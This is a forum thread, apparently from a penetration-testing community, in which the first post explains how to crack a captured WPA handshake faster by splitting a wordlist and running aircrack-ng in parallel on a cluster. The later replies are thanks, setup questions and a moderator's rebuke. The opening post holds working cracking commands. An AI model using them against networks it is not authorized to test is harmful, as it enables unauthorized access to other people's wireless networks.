Page 1 of 2 12 LastLast
Results 1 to 10 of 13

Thread: How to crack WPA on a cluster

  1. #1
    Senior Member MikeCa's Avatar
    Join Date
    Jan 2010
    Location
    DC
    Posts
    129

    Default How to crack WPA on a cluster

    On a single computer you usually get 500 to 1000 keys per second, let's juice this up with a cluster.

    First, you will need to split up your dictionary into segments. Let's take an example dictionary, wpa.txt, with 2,830,423 lines. With 64 cores, I will need 64 segments. 2830423 / 64 = 44225.

    Code:
    $ for file in `seq 1 64`; do head -n `echo "${file}*44225"|bc` ~/dict/wpa.txt | tail -n 44225 > ~/dict/wpa_seg/wpa_${file}.txt; done
    This assumes your dictionary is in ~/dict/wpa.txt, and that you have a directory called wpa_seg to save the segments in.

    Second, now that we have our segments we need to unleash the power of the cluster.

    Code:
    for file in `seq 1 64`; do (qrsh -now no "~/dict/aircrack-ng -w ~/dict/wpa_seg/wpa_${file}.txt -q -b 00:11:22:33:44:55 ~/dict/psl-02.cap > ~/dict/wpa_result/wpa_${file}.txt" &); done
    This assumes you have your aircrack-ng binary in the ~/dict directory, that the bssid of the AP is 00:11:22:33:44:55, that you have psl-02.cap which has your handshake, and that you have a directory named wpa_result to store output. qrsh comes from a vanilla installation of the Rocks Clusters Linux distribution.

    The power is great, I got a sustained test rate of 38,248 keys per second. Not bad for three minutes of setup.

  2. #2
    trellis
    Guest

    Default Re: How to crack WPA on a cluster

    Nice think about CUDA.
    What was your total processing power?

  3. #3
    Just burned his ISO
    Join Date
    Jan 2010
    Posts
    1

    Thumbs up Re: How to crack WPA on a cluster

    Thanks & ill give it a shot

  4. #4
    Member Mr-Protocol's Avatar
    Join Date
    Jan 2010
    Location
    Ohio
    Posts
    142

    Default Re: How to crack WPA on a cluster

    This is something I think is more interesting... hxxp://www.krazyworks.com/distributed-password-cracking-with-medussa/

    There is also a distributed way to run john the ripper I've seen while looking around.

  5. #5
    Just burned his ISO
    Join Date
    Feb 2010
    Posts
    2

    Default Re: How to crack WPA on a cluster

    wow .. it's awesome .. thanks for the tut ..

  6. #6
    Just burned his ISO
    Join Date
    Jan 2010
    Posts
    1

    Default Re: How to crack WPA on a cluster

    "...qrsh comes from a vanilla installation of the Rocks Clusters Linux distribution." How to get grsh from that distr? Is it necessary to install Rocks Clusters Linux distribution first and than copy binary from there or make second part of script in the installed distr?

  7. #7
    Just burned his ISO
    Join Date
    Feb 2009
    Posts
    3

    Default Re: How to crack WPA on a cluster

    Can you make a video tut of it ? Thanks

  8. #8
    Senior Member kidFromBigD's Avatar
    Join Date
    Jan 2010
    Location
    Texas
    Posts
    159

    Default Re: How to crack WPA on a cluster

    Quote Originally Posted by MikeCa View Post
    The power is great, I got a sustained test rate of 38,248 keys per second. Not bad for three minutes of setup.
    Excellent.
    A few questions:
    1) Your cluster is 64 cores - how many physical boxes is that spread across? Just curious.
    2) I would assume each box has the same distro installed, yes? Can you mix & match?
    3) When and if the PSK is discovered, do all the boxes immediately stop their computations and the "finder" reports the key?
    Apologies in advance to the Moderators for helping to bump a thread that's aged a few months...
    You. Are. Doing. It. Wrong.
    -Gitsnik

  9. #9
    Junior Member
    Join Date
    Apr 2010
    Posts
    47

    Default Re: How to crack WPA on a cluster

    thxxx alot but it didnt work with me can you make a video tut

  10. #10
    Super Moderator Archangel-Amael's Avatar
    Join Date
    Jan 2010
    Location
    Somewhere
    Posts
    8,012

    Default Re: How to crack WPA on a cluster

    Quote Originally Posted by shadi View Post
    thxxx alot but it didnt work with me can you make a video tut
    Here is a better idea, go read some documentation.
    You can't be a pentester if you can't read.
    To be successful here you should read all of the following.
    ForumRules
    ForumFAQ
    If you are new to Back|Track
    Back|Track Wiki
    Failure to do so will probably get your threads deleted or worse.

Page 1 of 2 12 LastLast

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •